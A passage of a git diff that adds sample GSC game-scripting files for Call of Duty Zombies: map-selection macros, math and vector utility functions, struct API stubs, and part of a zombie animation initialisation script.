+		RETURN_IF_ARRAY(__listName)\
+		return array();
+
+// for entries which specify which category it should be valid for (spawn requests, forced drops, dig rewards)
+#define BGB_CLASSIC 0
+#define BGB_MEGA 1
+#define BGB_ALL 2
+
+#define MAP_ASSIGN_LIST(varname) switch(GetDvarString("mapname")){\
+	case "zm_zod":varname = ZOD;break;\
+	case "zm_factory":varname = FACTORY;break;\
+	case "zm_castle":varname = CASTLE;break;\
+	case "zm_island":varname = ISLAND;break;\
+	case "zm_stalingrad":varname = STALINGRAD;break;\
+	case "zm_genesis":varname = GENESIS;break;\
+	case "zm_prototype":varname = PROTOTYPE;break;\
+	case "zm_asylum":varname = ASYLUM;break;\
+	case "zm_sumpf":varname = SUMPF;break;\
+	case "zm_theater":varname = THEATER;break;\
+	case "zm_cosmodrome":varname = COSMODROME;break;\
+	case "zm_temple":varname = TEMPLE;break;\
+	case "zm_moon":varname = MOON;break;\
+	case "zm_tomb":varname = TOMB;break;\
+	default:return;}
+
+#define MAP_ASSIGN_LIST_RETURN(varname) MAP_ASSIGN_LIST(varname) if(!isdefined(varname)) return;
+
+#define MAP_ASSIGN_LIST_2(varname1,varname2) switch(GetDvarString("mapname")){\
+	case "zm_zod":varname1 = ZOD;varname2 = ZOD_2;break;\
+	case "zm_factory":varname1 = FACTORY;varname2 = FACTORY_2;break;\
+	case "zm_castle":varname1 = CASTLE;varname2 = CASTLE_2;break;\
+	case "zm_island":varname1 = ISLAND;varname2 = ISLAND_2;break;\
+	case "zm_stalingrad":varname1 = STALINGRAD;varname2 = STALINGRAD_2;break;\
+	case "zm_genesis":varname1 = GENESIS;varname2 = GENESIS_2;break;\
+	case "zm_prototype":varname1 = PROTOTYPE;varname2 = PROTOTYPE_2;break;\
+	case "zm_asylum":varname1 = ASYLUM;varname2 = ASYLUM_2;break;\
+	case "zm_sumpf":varname1 = SUMPF;varname2 = SUMPF_2;break;\
+	case "zm_theater":varname1 = THEATER;varname2 = THEATER_2;break;\
+	case "zm_cosmodrome":varname1 = COSMODROME;varname2 = COSMODROME_2;break;\
+	case "zm_temple":varname1 = TEMPLE;varname2 = TEMPLE_2;break;\
+	case "zm_moon":varname1 = MOON;varname2 = MOON_2;break;\
+	case "zm_tomb":varname1 = TOMB;varname2 = TOMB_2;break;\
+	default:return;}
+
+#define MAP_ASSIGN_LIST_2_RETURN(varname1,varname2) MAP_ASSIGN_LIST_2(varname1,varname2) if(!isdefined(varname1)) return;
+
+#define MAP_ASSIGN_FUNC(varname) switch(GetDvarString("mapname")){\
+	case "zm_zod":varname = ZOD_FUNC;break;\
+	case "zm_factory":varname = FACTORY_FUNC;break;\
+	case "zm_castle":varname = CASTLE_FUNC;break;\
+	case "zm_island":varname = ISLAND_FUNC;break;\
+	case "zm_stalingrad":varname = STALINGRAD_FUNC;break;\
+	case "zm_genesis":varname = GENESIS_FUNC;break;\
+	case "zm_prototype":varname = PROTOTYPE_FUNC;break;\
+	case "zm_asylum":varname = ASYLUM_FUNC;break;\
+	case "zm_sumpf":varname = SUMPF_FUNC;break;\
+	case "zm_theater":varname = THEATER_FUNC;break;\
+	case "zm_cosmodrome":varname = COSMODROME_FUNC;break;\
+	case "zm_temple":varname = TEMPLE_FUNC;break;\
+	case "zm_moon":varname = MOON_FUNC;break;\
+	case "zm_tomb":varname = TOMB_FUNC;break;\
+	default:return;}
+
+#define MAP_ASSIGN_FUNC_RETURN(varname) MAP_ASSIGN_FUNC(varname) if (!isdefined(varname)) return;
+
+#define MAP_ASSIGN_FUNC_2(varname1,varname2) switch(GetDvarString("mapname")){\
+	case "zm_zod":varname1 = ZOD_FUNC;varname2 = ZOD_FUNC_2;break;\
+	case "zm_factory":varname1 = FACTORY_FUNC;varname2 = FACTORY_FUNC_2;break;\
+	case "zm_castle":varname1 = CASTLE_FUNC;varname2 = CASTLE_FUNC_2;break;\
+	case "zm_island":varname1 = ISLAND_FUNC;varname2 = ISLAND_FUNC_2;break;\
+	case "zm_stalingrad":varname1 = STALINGRAD_FUNC;varname2 = STALINGRAD_FUNC_2;break;\
+	case "zm_genesis":varname1 = GENESIS_FUNC;varname2 = GENESIS_FUNC_2;break;\
+	case "zm_prototype":varname1 = PROTOTYPE_FUNC;varname2 = PROTOTYPE_FUNC_2;break;\
+	case "zm_asylum":varname1 = ASYLUM_FUNC;varname2 = ASYLUM_FUNC_2;break;\
+	case "zm_sumpf":varname1 = SUMPF_FUNC;varname2 = SUMPF_FUNC_2;break;\
+	case "zm_theater":varname1 = THEATER_FUNC;varname2 = THEATER_FUNC_2;break;\
+	case "zm_cosmodrome":varname1 = COSMODROME_FUNC;varname2 = COSMODROME_FUNC_2;break;\
+	case "zm_temple":varname1 = TEMPLE_FUNC;varname2 = TEMPLE_FUNC_2;break;\
+	case "zm_moon":varname1 = MOON_FUNC;varname2 = MOON_FUNC_2;break;\
+	case "zm_tomb":varname1 = TOMB_FUNC;varname2 = TOMB_FUNC_2;break;\
+	default:return;}
+
+#define MAP_ASSIGN_FUNC_2_RETURN(varname1,varname2) MAP_ASSIGN_FUNC_2(varname1,varname2) if (!isdefined(varname1)) return;
\ No newline at end of file
diff --git a/samples/GSC/math_shared.gsc b/samples/GSC/math_shared.gsc
new file mode 100644
index 0000000000..efa9b8f52e
--- /dev/null
+++ b/samples/GSC/math_shared.gsc
@@ -0,0 +1,546 @@
+#using scripts\shared\util_shared;
+
+#insert scripts\shared\shared.gsh;
+
+#namespace math;
+
+function cointoss()
+{
+	return RandomInt( 100 ) >= 50;
+}
+
+/@
+"Name: clamp(val, val_min, val_max)"
+"Summary: Clamps a value between a min and max value."
+"Module: Math"
+"MandatoryArg: val: the value to clamp."
+"MandatoryArg: val_min: the min value to clamp to."
+"MandatoryArg: val_max: the mac value to clamp to."
+"Example: clamped_val = clamp(8, 0, 5); // returns 5	*	clamped_val = clamp(-1, 0, 5); // returns 0"
+"SPMP: both"
+@/
+function clamp( val, val_min, val_max )
+{
+	DEFAULT( val_max, val );
+	
+	if (val < val_min)
+	{
+		val = val_min;
+	}
+	else if (val > val_max)
+	{
+		val = val_max;
+	}
+
+	return val;
+}
+
+/@
+"Name: linear_map(val, min_a, max_a, min_b, max_b)"
+"Summary: Maps a value within one range to a value in another range."
+"Module: Math"
+"MandatoryArg: val: the value to map."
+"MandatoryArg: min_a: the min value of the range in which <val> exists."
+"MandatoryArg: max_a: the max value of the range in which <val> exists."
+"MandatoryArg: min_b: the min value of the range in which the return value should exist."
+"MandatoryArg: max_b: the max value of the range in which the return value should exist."
+"Example: fov = linear_map(speed, min_speed, max_speed, min_fov, max_fov);"
+"SPMP: both"
+@/
+function linear_map(num, min_a, max_a, min_b, max_b)
+{
+	return clamp(( (num - min_a) / (max_a - min_a) * (max_b - min_b) + min_b ), min_b, max_b);
+}
+
+/@
+"Name: lag(desired, curr, k, dt)"
+"Summary: Changes a value from current to desired using 1st order differential lag."
+"Module: Math"
+"MandatoryArg: desired: desired value."
+"MandatoryArg: curr: the current value."
+"MandatoryArg: k: the strength of the lag ( lower = slower, higher = faster)."
+"MandatoryArg: dt: time step to lag over ( usually 1 server frame )."
+"Example: speed = lag(max_speed, speed, 1, 0.05);"
+"SPMP: both"
+@/
+function lag(desired, curr, k, dt)
+{
+    r = 0.0;
+
+    if (((k * dt) >= 1.0) || (k <= 0.0))
+    {
+        r = desired;
+    }
+    else
+    {
+        err = desired - curr;
+        r = curr + k * err * dt;
+    }
+
+    return r;
+}
+
+function find_box_center( mins, maxs )
+{
+	center = ( 0, 0, 0 );
+	center = maxs - mins;
+	center = ( center[0]/2, center[1]/2, center[2]/2 ) + mins;
+	return center;
+}
+
+function expand_mins( mins, point )
+{
+	if ( mins[0] > point[0] )
+	{
+		mins = ( point[0], mins[1], mins[2] );
+	}
+
+	if ( mins[1] > point[1] )
+	{
+		mins = ( mins[0], point[1], mins[2] );
+	}
+
+	if ( mins[2] > point[2] )
+	{
+		mins = ( mins[0], mins[1], point[2] );
+	}
+
+	return mins;
+}
+
+function expand_maxs( maxs, point )
+{
+	if ( maxs[0] < point[0] )
+	{
+		maxs = ( point[0], maxs[1], maxs[2] );
+	}
+
+	if ( maxs[1] < point[1] )
+	{
+		maxs = ( maxs[0], point[1], maxs[2] );
+	}
+
+	if ( maxs[2] < point[2] )
+	{
+		maxs = ( maxs[0], maxs[1], point[2] );
+	}
+
+	return maxs;
+}
+
+// ----------------------------------------------------------------------------------------------------
+// -- Vectors -----------------------------------------------------------------------------------------
+// ----------------------------------------------------------------------------------------------------
+
+/@
+"Name: vector_compare( <vec1>, <vec2> )"
+"Summary: For 3D vectors.  Returns true if the vectors are the same"
+"MandatoryArg: <vec1> : A 3D vector (origin)"
+"MandatoryArg: <vec2> : A 3D vector (origin)"
+"Example: if (vector_compare(self.origin, node.origin){print(\"yay, i'm on the node!\");}"
+"SPMP: both"
+@/
+function vector_compare(vec1, vec2)
+{
+	return (abs(vec1[0] - vec2[0]) < .001) && (abs(vec1[1] - vec2[1]) < .001) && (abs(vec1[2] - vec2[2]) < .001);
+}
+
+function random_vector(max_length)
+{
+	return (RandomFloatRange(-1 * max_length, max_length), RandomFloatRange(-1 * max_length, max_length), RandomFloatRange(-1 * max_length, max_length));
+}
+
+function angle_dif(oldangle, newangle)
+{
+	outvalue = ( oldangle - newangle ) % 360;
+	
+	if ( outvalue < 0 )
+	{
+		outvalue+=360;
+	}
+	
+	if ( outvalue > 180 )
+	{
+		outvalue=(outvalue-360)*-1;
+	}
+	
+	return outvalue;		
+}
+
+function sign( x )
+{
+	return ( x >= 0 ? 1 : -1 );
+}
+
+function randomSign()
+{
+	return ( RandomIntRange( -1, 1 ) >= 0 ? 1 : -1 );
+}
+
+/@
+"Name: get_dot_direction( <v_point>, [b_ignore_z], [b_normalize], [str_direction], [ b_use_eye] )"
+"Summary: Calculates and returns dot between an entity's directional vector and a point."
+"Module: Math"
+"CallOn: Entity. Must have origin and angles parameters."
+"MandatoryArg: <v_point> vector position to check against entity origin and angles"
+"OptionalArg: <b_ignore_z> specify if get_dot should consider 2d or 3d dot. Defaults to false for 3d dot."
+"OptionalArg: <str_direction> specify which vector type to use on angles. Valid options are "forward", "backward", "right", "left", "up" and "down". Defaults to "forward"."
+"OptionalArg: <b_normalize> specify if the function should normalize the vector to target point. Defaults to true."
+"OptionalArg: <b_use_eye> if self a player or AI, use tag_eye rather than .angles. Defaults to true on players, defaults to false on everything else.
+"Example: n_dot = player get_dot_direction( woods.origin );"
+"SPMP: singleplayer"
+@/
+function get_dot_direction( v_point, b_ignore_z, b_normalize, str_direction, b_use_eye )
+{
+	assert( isdefined( v_point ), "v_point is a required parameter for get_dot" );
+	
+	if ( !isdefined( b_ignore_z ) )
+	{
+		b_ignore_z = false;
+	}
+	
+	if ( !isdefined( b_normalize ) )
+	{
+		b_normalize = true;
+	}
+	
+	if ( !isdefined( str_direction ) )
+	{
+		str_direction = "forward";
+	}
+	
+	if ( !isdefined( b_use_eye ) )
+	{
+		b_use_eye = false;
+		
+		if ( IsPlayer( self ) )
+		{
+			b_use_eye = true;
+		}
+	}
+	
+	v_angles = self.angles;
+	v_origin = self.origin;
+	
+	if ( b_use_eye )
+	{
+		v_origin = self util::get_eye();
+	}
+	
+	if ( IsPlayer( self ) )
+	{
+		v_angles = self GetPlayerAngles();
+		if ( level.wiiu )
+		{
+			v_angles = self GetGunAngles();
+		}
+	}
+	
+	if ( b_ignore_z )
+	{
+		v_angles = ( v_angles[ 0 ], v_angles[ 1 ], 0 );
+		v_point = ( v_point[ 0 ], v_point[ 1 ], 0 );
+		v_origin = ( v_origin[ 0 ], v_origin[ 1 ], 0 );
+	}
+	
+	switch ( str_direction )
+	{
+		case "forward":
+			v_direction = AnglesToForward( v_angles );
+			break;
+		
+		case "backward":
+			v_direction = AnglesToForward( v_angles ) * ( -1 );
+			break;
+			
+		case "right":
+			v_direction = AnglesToRight( v_angles );
+			break;
+			
+		case "left":
+			v_direction = AnglesToRight( v_angles ) * ( -1 );
+			break;
+			
+		case "up":
+			v_direction = AnglesToUp( v_angles );
+			break;
+		
+		case "down":
+			v_direction = AnglesToUp( v_angles ) * ( -1 );
+			break;
+			
+		default:
+			AssertMsg( str_direction + " is not a valid str_direction for get_dot!" );
+			v_direction = AnglesToForward( v_angles );   // have to initialize variable for default case
+			break;
+	}
+	
+	v_to_point = v_point - v_origin;
+	
+	if ( b_normalize )
+	{
+		v_to_point = VectorNormalize( v_to_point );
+	}
+	
+	n_dot = VectorDot( v_direction, v_to_point );
+	
+	return n_dot;
+}
+
+/@
+"Name: get_dot_right( <v_point>, [b_ignore_z], [b_normalize] )"
+"Summary: Calculates and returns dot between an entity's right vector and a point."
+"Module: Math"
+"CallOn: Entity. Must have origin and angles parameters."
+"MandatoryArg: <v_point> vector position to check against entity origin and angles"
+"OptionalArg: <b_ignore_z> specify if get_dot should consider 2d or 3d dot. Defaults to false for 3d dot."
+"OptionalArg: <b_normalize> specify if the function should normalize the vector to target point. Defaults to true."
+"Example: n_dot = player get_dot_direction( woods.origin );"
+"SPMP: singleplayer"
+@/
+function get_dot_right( v_point, b_ignore_z, b_normalize )
+{
+	// get_dot will assert if missing, but scripter should know it's coming from get_dot_right
+	assert( isdefined( v_point ), "v_point is a required parameter for get_dot_right" );
+	
+	n_dot = get_dot_direction( v_point, b_ignore_z, b_normalize, "right" );
+	
+	return n_dot;
+}
+
+/@
+"Name: get_dot_up( <v_point>, [b_ignore_z], [b_normalize] )"
+"Summary: Calculates and returns dot between an entity's up vector and a point."
+"Module: Math"
+"CallOn: Entity. Must have origin and angles parameters."
+"MandatoryArg: <v_point> vector position to check against entity origin and angles"
+"OptionalArg: <b_ignore_z> specify if get_dot should consider 2d or 3d dot. Defaults to false for 3d dot."
+"OptionalArg: <b_normalize> specify if the function should normalize the vector to target point. Defaults to true."
+"Example: n_dot = player get_dot_direction( woods.origin );"
+"SPMP: singleplayer"
+@/
+function get_dot_up( v_point, b_ignore_z, b_normalize )
+{
+	// get_dot will assert if missing, but scripter should know it's coming from get_dot_up
+	assert( isdefined( v_point ), "v_point is a required parameter for get_dot_up" );
+	
+	n_dot = get_dot_direction( v_point, b_ignore_z, b_normalize, "up" );
+	
+	return n_dot;
+}
+
+/@
+"Name: get_dot_forward( <v_point>, [b_ignore_z], [b_normalize] )"
+"Summary: Calculates and returns dot between an entity's forward vector and a point."
+"Module: Math"
+"CallOn: Entity. Must have origin and angles parameters."
+"MandatoryArg: <v_point> vector position to check against entity origin and angles"
+"OptionalArg: <b_ignore_z> specify if get_dot should consider 2d or 3d dot. Defaults to false for 3d dot."
+"OptionalArg: <b_normalize> specify if the function should normalize the vector to target point. Defaults to true."
+"Example: n_dot = player get_dot_direction( woods.origin );"
+"SPMP: singleplayer"
+@/
+function get_dot_forward( v_point, b_ignore_z, b_normalize )
+{
+	// get_dot will assert if missing, but scripter should know it's coming from get_dot_forward
+	assert( isdefined( v_point ), "v_point is a required parameter for get_dot_forward" );
+	
+	n_dot = get_dot_direction( v_point, b_ignore_z, b_normalize, "forward" );
+	
+	return n_dot;
+}
+
+/@
+"Name: get_dot_from_eye( <v_point>, [b_ignore_z], [b_normalize], [str_direction] )"
+"Summary: Calculates and returns dot between an entity's forward vector and a point based on tag_eye. Only use on players or AI"
+"Module: Math"
+"CallOn: Entity. Must have origin and angles parameters."
+"MandatoryArg: <v_point> vector position to check against entity origin and angles"
+"OptionalArg: [b_ignore_z] specify if get_dot should consider 2d or 3d dot. Defaults to false for 3d dot."
+"OptionalArg: [b_normalize] specify if the function should normalize the vector to target point. Defaults to true."
+"OptionalArg: [str_direction] specify which vector type to use on angles. Valid options are "forward", "backward", "right", "left", "up" and "down". Defaults to "forward"."
+"Example: n_dot = player get_dot_from_eye( woods.origin );"
+"SPMP: singleplayer"
+@/
+function get_dot_from_eye( v_point, b_ignore_z, b_normalize, str_direction )
+{
+	assert( isdefined( v_point ), "v_point is a required parameter for get_dot_forward" );
+	Assert( ( IsPlayer( self ) || IsAI( self ) ), "get_dot_from_eye was used on a " + self.classname + ". Valid ents are players and AI, since they have tag_eye." );
+	
+	n_dot = get_dot_direction( v_point, b_ignore_z, b_normalize, str_direction, true );
+	
+	return n_dot;
+}
+
+// ----------------------------------------------------------------------------------------------------
+// -- Arrays ------------------------------------------------------------------------------------------
+// ----------------------------------------------------------------------------------------------------
+
+/@
+"Name: array_average( <array> )"
+"Summary: Given an array of numbers, returns the average (mean) value of the array"
+"Module: Utility"
+"MandatoryArg: <array>: the array of numbers which will be averaged"
+"Example: array_average( numbers );"
+"SPMP: both"
+@/
+function array_average( array )
+{
+	assert( IsArray( array ) );
+	assert( array.size > 0 );
+
+	total = 0;
+
+	for ( i = 0; i < array.size; i++ )
+	{
+		total += array[i];
+	}
+
+	return ( total / array.size );
+}
+
+/@
+"Name: array_std_deviation( <array>, <mean> )"
+"Summary: Given an array of numbers and the average of the array, returns the standard deviation value of the array"
+"Module: Utility"
+"MandatoryArg: <array>: the array of numbers"
+"MandatoryArg: <mean>: the average (mean) value of the array"
+"Example: array_std_deviation( numbers, avg );"
+"SPMP: both"
+@/
+function array_std_deviation( array, mean )
+{
+	assert( IsArray( array ) );
+	assert( array.size > 0 );
+
+	tmp = [];
+	for ( i = 0; i < array.size; i++ )
+	{
+		tmp[i] = ( array[i] - mean ) * ( array[i] - mean );
+	}
+
+	total = 0;
+	for ( i = 0; i < tmp.size; i++ )
+	{
+		total = total + tmp[i];
+	}
+
+	return Sqrt( total / array.size );
+}
+
+/@
+"Name: random_normal_distribution( <mean>, <std_deviation>, <lower_bound>, <upper_bound> )"
+"Summary: Given the mean and std deviation of a set of numbers, returns a random number from the normal distribution"
+"Module: Utility"
+"MandatoryArg: <mean>: the average (mean) value of the array"
+"MandatoryArg: <std_deviation>: the standard deviation value of the array"
+"OptionalArg: <lower_bound> the minimum value that will be returned"
+"OptionalArg: <upper_bound> the maximum value that will be returned"
+"Example: random_normal_distribution( avg, std_deviation );"
+"SPMP: both"
+@/
+function random_normal_distribution( mean, std_deviation, lower_bound, upper_bound )
+{
+	//pixbeginevent( "random_normal_distribution" );
+
+	// implements the Box-Muller transform for Gaussian random numbers (http://en.wikipedia.org/wiki/Box-Muller_transform)
+	x1 = 0;
+	x2 = 0;
+	w = 1;
+	y1 = 0;
+
+	while ( w >= 1 )
+	{
+		x1 = 2 * RandomFloatRange( 0, 1 ) - 1;
+		x2 = 2 * RandomFloatRange( 0, 1 ) - 1;
+		w = x1 * x1 + x2 * x2;
+	}
+
+	w = Sqrt( ( -2.0 * Log( w ) ) / w );
+	y1 = x1 * w;
+
+	number = mean + y1 * std_deviation;
+
+	if ( isdefined( lower_bound ) && number < lower_bound )
+	{
+		number = lower_bound;
+	}
+
+	if ( isdefined( upper_bound ) && number > upper_bound )
+	{
+		number = upper_bound;
+	}
+
+	//pixendevent();
+
+	return( number );
+}
+
+function closest_point_on_line( point, lineStart, lineEnd )
+{
+	lineMagSqrd = lengthsquared(lineEnd - lineStart);
+ 
+  t =	( ( ( point[0] - lineStart[0] ) * ( lineEnd[0] - lineStart[0] ) ) +
+			( ( point[1] - lineStart[1] ) * ( lineEnd[1] - lineStart[1] ) ) +
+			( ( point[2] - lineStart[2] ) * ( lineEnd[2] - lineStart[2] ) ) ) /
+			( lineMagSqrd );
+ 
+  if( t < 0.0  )
+	{
+		return lineStart;
+	}
+	else if( t > 1.0 )
+	{
+		return lineEnd;
+	}
+
+	start_x = lineStart[0] + t * ( lineEnd[0] - lineStart[0] );
+	start_y = lineStart[1] + t * ( lineEnd[1] - lineStart[1] );
+	start_z = lineStart[2] + t * ( lineEnd[2] - lineStart[2] );
+	
+	return (start_x,start_y,start_z);
+}
+
+function get_2d_yaw( start, end )
+{
+	vector = (end[0] - start[0], end[1] - start[1], 0);
+
+	return vec_to_angles( vector );
+}
+
+function vec_to_angles( vector )
+{
+	yaw = 0;
+	
+	vecX = vector[0];
+	vecY = vector[1];
+	
+	if ( vecX == 0 && vecY == 0 )
+		return 0;
+		
+	if ( vecY < 0.001 && vecY > -0.001 )
+		vecY = 0.001;
+
+	yaw = atan( vecX / vecY );
+	
+	if ( vecY < 0 )
+		yaw += 180;
+
+	return ( 90 - yaw );
+}
+
+function pow( base, exp )
+{
+	if( exp == 0 )
+	{
+		return 1;
+	}
+
+	result = base;
+	for( i = 0; i < ( exp - 1 ); i++ )
+	{
+		result  *= base;
+	}
+	
+	return result;
+}
diff --git a/samples/GSC/struct.gsc b/samples/GSC/struct.gsc
new file mode 100644
index 0000000000..e1b9652e9e
--- /dev/null
+++ b/samples/GSC/struct.gsc
@@ -0,0 +1,82 @@
+
+function init() {}
+function delete() {}
+
+/@
+"Name: get( <kvp_value> , [kvp_key] )"
+"Summary: Returns a struct with the specified kvp."
+"MandatoryArg: <kvp_value> : kvp value"
+"OptionalArg: [kvp_key] : defaults to targetname"
+"Example: struct::get( "some_value", "targetname" );"
+"SPMP: both"
+@/
+function get( kvp_value, kvp_key = "targetname" ){}
+
+/@
+"Name: spawn( [v_origin], [v_angles] )"
+"Summary: Returns a new struct."
+"OptionalArg: [v_origin] : optional origin"
+"OptionalArg: [v_angles] : optional angles"
+"Example: s = struct::spawn( self GetTagOrigin( "tag_origin" ) );"
+@/
+function spawn( v_origin = (0, 0, 0), v_angles = (0, 0, 0) ){}
+
+/@
+"Name: get_array( <kvp_value> , [kvp_key] )"
+"Summary: Returns an array of structs with the specified kvp."
+"MandatoryArg: <kvp_value> : kvp value"
+"OptionalArg: [kvp_key] : defaults to targetname"
+"Example: fxemitters = struct::get_array( "streetlights", "targetname" )"
+"SPMP: both"
+@/
+function get_array( kvp_value, kvp_key = "targetname" ){}
+
+/@
+"Name: get_script_bundle( <str_type>, <str_name> )"
+"Summary: Returns a struct with the specified script bundle definition. This is the GDT data for the bundle."
+"MandatoryArg: <str_type> : The type of the script bundle"
+"MandatoryArg: <str_name> : The name of the script bundle"
+"Example: struct::get_script_bundle( "scene", "my_scene" );"
+"SPMP: both"
+@/
+function get_script_bundle( str_type, str_name ){}
+
+/@
+"Name: delete_script_bundle( <str_type>, <str_name> )"
+"Summary: Deletes the specified script bundle definition. This is the GDT data for the bundle."
+"MandatoryArg: <str_type> : The type of the script bundle"
+"MandatoryArg: <str_name> : The name of the script bundle"
+"Example: struct::delete_script_bundle( "scene", "my_scene" );"
+"SPMP: both"
+@/
+function delete_script_bundle( str_type, str_name ){}
+
+/@
+"Name: get_script_bundles( <str_type> )"
+"Summary: Returns all of the script bundle definition structs for the specified type."
+"MandatoryArg: <str_type> : The type of the script bundle"
+"Example: struct::get_script_bundles( "scene" );"
+"SPMP: both"
+@/
+function get_script_bundles( str_type ){}
+
+/@
+"Name: get_script_bundle_list( <str_type>, <str_name> )"
+"Summary: Returns a string array with the items specified by the script bundle list."
+"MandatoryArg: <str_type> : The type of the script bundle in the list"
+"MandatoryArg: <str_name> : The name of the script bundle list"
+"Example: struct::get_script_bundle_list( "collectible", "completecollectibleslist" );"
+"SPMP: both"
+@/
+function get_script_bundle_list( str_type, str_name ){}
+
+/@
+"Name: get_script_bundle_instances( <str_type>, [str_name] )"
+"Summary: Returns an array of all the script bundle instances with the specified script bundle definition and name."
+"MandatoryArg: <str_type> : The type of the script bundle"
+"MandatoryArg: [str_name] : The name of the script bundle"
+"Example: struct::get_script_bundle_instances( "scene", "my_scene" );"
+"SPMP: both"
+@/
+function get_script_bundle_instances( str_type, str_name = "" ){}
+
diff --git a/samples/GSC/zm_init.gsc b/samples/GSC/zm_init.gsc
new file mode 100644
index 0000000000..d5fa6d6ce4
--- /dev/null
+++ b/samples/GSC/zm_init.gsc
@@ -0,0 +1,260 @@
+// Notes about scripts
+//=====================
+//
+// Anim variables
+// -------------- 
+// Anim variables keep track of what the character is doing with respect to his 
+// animations.  They know if he's standing, crouching, kneeling, walking, running, etc, 
+// so that he can play appropriate transitions to get to the animation he wants.
+// anim_movement - "stop", "walk", "run"
+// anim_pose - "stand", "crouch", some others for pain poses.
+// I'm putting functions to do the basic animations to change these variables in 
+// zombie_SetPoseMovement.gsc, 
+//
+// Error Reporting
+// ---------------
+// To report a script error condition (similar to assert(0)), I assign a non-existent variable to 
+// the variable homemade_error  I use the name of the non-existent variable to try to explain the 
+// error.  For example:
+// 		homemade_error = Unexpected_anim_pose_value + self.a.pose;
+// I also have a kind of assert, called as follows:
+//		[[anim.assert(condition, message_string);
+// If condition evaluates to 0, the assert fires, prints message_string and stops the server. Since 
+// I don't have stack traces of any kind, the message string needs to say from where the assert was 
+// called.
+
+// #include maps\mp\animscripts\zm_utility;
+// #include maps\_utility;
+// #include animscripts\Combat_utility;
+// #include common_scripts\Utility;
+// 
+
+#include common_scripts\utility;
+#include maps\mp\animscripts\shared;
+#include maps\mp\animscripts\utility;
+#include maps\mp\animscripts\zm_utility;
+
+
+
+main()
+{
+	self.a = SpawnStruct();
+	
+	self.team = level.zombie_team;
+
+		
+	firstInit();
+
+	// Set initial states for poses
+	self.a.pose = "stand";
+	self.a.movement = "stop";
+	self.a.state = "stop";
+	self.a.special = "none";
+
+	self.a.combatEndTime = GetTime();
+	self.a.script = "init";
+	self.a.alertness = "casual"; // casual, alert, aiming
+	self.a.lastEnemyTime = GetTime();
+	self.a.forced_cover = "none";
+	self.a.desired_script = "none";
+	self.a.current_script = "none";
+	self.a.lookangle = 0;
+	self.a.painTime = 0;
+	self.a.nextGrenadeTryTime = 0;
+	
+	// setup the speed variables
+	self.walk			= false;
+	self.sprint			= false;
+	
+	// WW (11/16/2010): Setting variable for run blend speed. This allows the black hole bomb to snap guys 180 with less pop.
+	self.a.runBlendTime = 0.2;
+	
+	// MikeD (9/28/2007): Flame pain time... Tracks when the AI gets hit with flame.
+	self.a.flamepainTime = 0;
+	
+	self.a.postScriptFunc = undefined;
+	self.a.stance = "stand";
+	
+	self._animActive = 0;
+	
+	self thread deathNotify();
+
+	// use the GDT settings to start with
+	self.baseAccuracy = self.accuracy;
+
+	// set default accuracy mod
+	if( !IsDefined(self.script_accuracy) )
+	{
+		self.script_accuracy = 1;
+	}
+	
+	self.a.missTime = 0;
+	
+	self.a.yawTransition = "none";
+	self.a.nodeath = false;
+	self.a.missTime = 0;
+	self.a.missTimeDebounce = 0;
+	self.a.disablePain = false;
+
+	self.accuracyStationaryMod = 1;
+	self.chatInitialized = false;
+	self.sightPosTime = 0;
+	self.sightPosLeft = true;
+	self.preCombatRunEnabled = true;
+	self.is_zombie = true;
+
+	self.a.crouchpain = false; // for dying pain guys
+	self.a.nextStandingHitDying = false;
+
+	// Makes AI able to throw grenades at other AI.
+	if (!IsDefined (self.script_forcegrenade))
+	{
+		self.script_forcegrenade = 0;
+	}
+
+/#
+	self.a.lastDebugPrint = "";
+#/
+
+	// state tracking
+	self.lastEnemySightTime = 0; // last time we saw our current enemy
+	self.combatTime = 0; // how long we've been in/out of combat
+	
+	// Random range makes the grenades less accurate and do less damage, but also makes it difficult to throw back.
+// 	if ( self.team == "allies" )
+// 	{
+// 		self.randomGrenadeRange = 0;
+// 	}
+// 	else
+// 	{
+// 		self.randomGrenadeRange = 128;
+// 	}
+
+    self.coverIdleSelectTime = -696969;
+
+	self.old = SpawnStruct();
+	
+	self.reacquire_state = 0;
+
+	self.a.allow_shooting					= false;
+}
+
+DoNothing()
+{
+}
+
+empty(one, two, three, whatever)
+{
+}
+
+clearEnemy()
+{
+	self notify ("stop waiting for enemy to die");
+	self endon ("stop waiting for enemy to die");
+	self.sightEnemy waittill ("death");
+	self.sightpos = undefined;
+	self.sightTime = 0;
+	self.sightEnemy = undefined;
+}
+
+// Cleans up scripts on death
+deathNotify()
+{
+	self waittill( "death", other );
+	self notify( anim.scriptChange );
+}
+
+firstInit()
+{
+	// Initialization that should happen once per level
+	if ( IsDefined (anim.NotFirstTime) ) // Use this to trigger the first init
+	{
+		return;
+	}
+	
+	anim.NotFirstTime = true;
+	
+	anim.useFacialAnims = false; // remove me when facial anims are fixed
+
+	if ( !IsDefined( anim.dog_health ) )
+	{
+		anim.dog_health = 1;
+	}
+		
+	if ( !IsDefined( anim.dog_presstime ) )
+	{
+		anim.dog_presstime = 350;
+	}
+		
+	if ( !IsDefined( anim.dog_hits_before_kill ) )
+	{
+		anim.dog_hits_before_kill = 1;
+	}
+
+	level.nextGrenadeDrop = RandomInt(3);
+	level.lastPlayerSighted = 100;
+	anim.defaultException = maps\mp\animscripts\zm_init::empty;
+	
+	SetDvar( "scr_expDeathMayMoveCheck", "on" );
+	
+	// Global constants
+	anim.lastSideStepAnim = 0;
+	anim.meleeRange = 64;
+	anim.meleeRangeSq = anim.meleeRange * anim.meleeRange;
+	anim.standRangeSq = 512*512;
+	anim.chargeRangeSq = 200*200;
+	anim.chargeLongRangeSq = 512*512;
+	anim.aiVsAiMeleeRangeSq = 400*400;
+
+	anim.combatMemoryTimeConst = 10000;
+	anim.combatMemoryTimeRand = 6000;
+	anim.scriptChange = "script_change";
+
+	// MikeD (10/23/2007 10:38:58): Gib Support
+	anim.lastGibTime 	= 0;
+	anim.gibDelay 		= 3 * 1000; // 3 seconds
+	anim.minGibs		= 2;
+	anim.maxGibs		= 4;
+	anim.totalGibs		= RandomIntRange( anim.minGibs, anim.maxGibs );
+	
+	anim.corner_straight_yaw_limit = 36;
+
+	if (!IsDefined(anim.optionalStepEffectFunction))
+	{
+		anim.optionalStepEffects = [];
+		anim.optionalStepEffectFunction = ::empty;
+	}
+
+	// string based array for notetracks
+	anim.notetracks = [];
+	maps\mp\animscripts\zm_shared::registerNoteTracks();
+	
+	if ( !IsDefined( level.flag ) )
+	{
+		level.flag = [];
+		level.flags_lock = [];
+	}
+
+	level.painAI = undefined;
+	
+	
+	anim.maymoveCheckEnabled = true; // corner_axis doesnt do the check if this is false, for credits
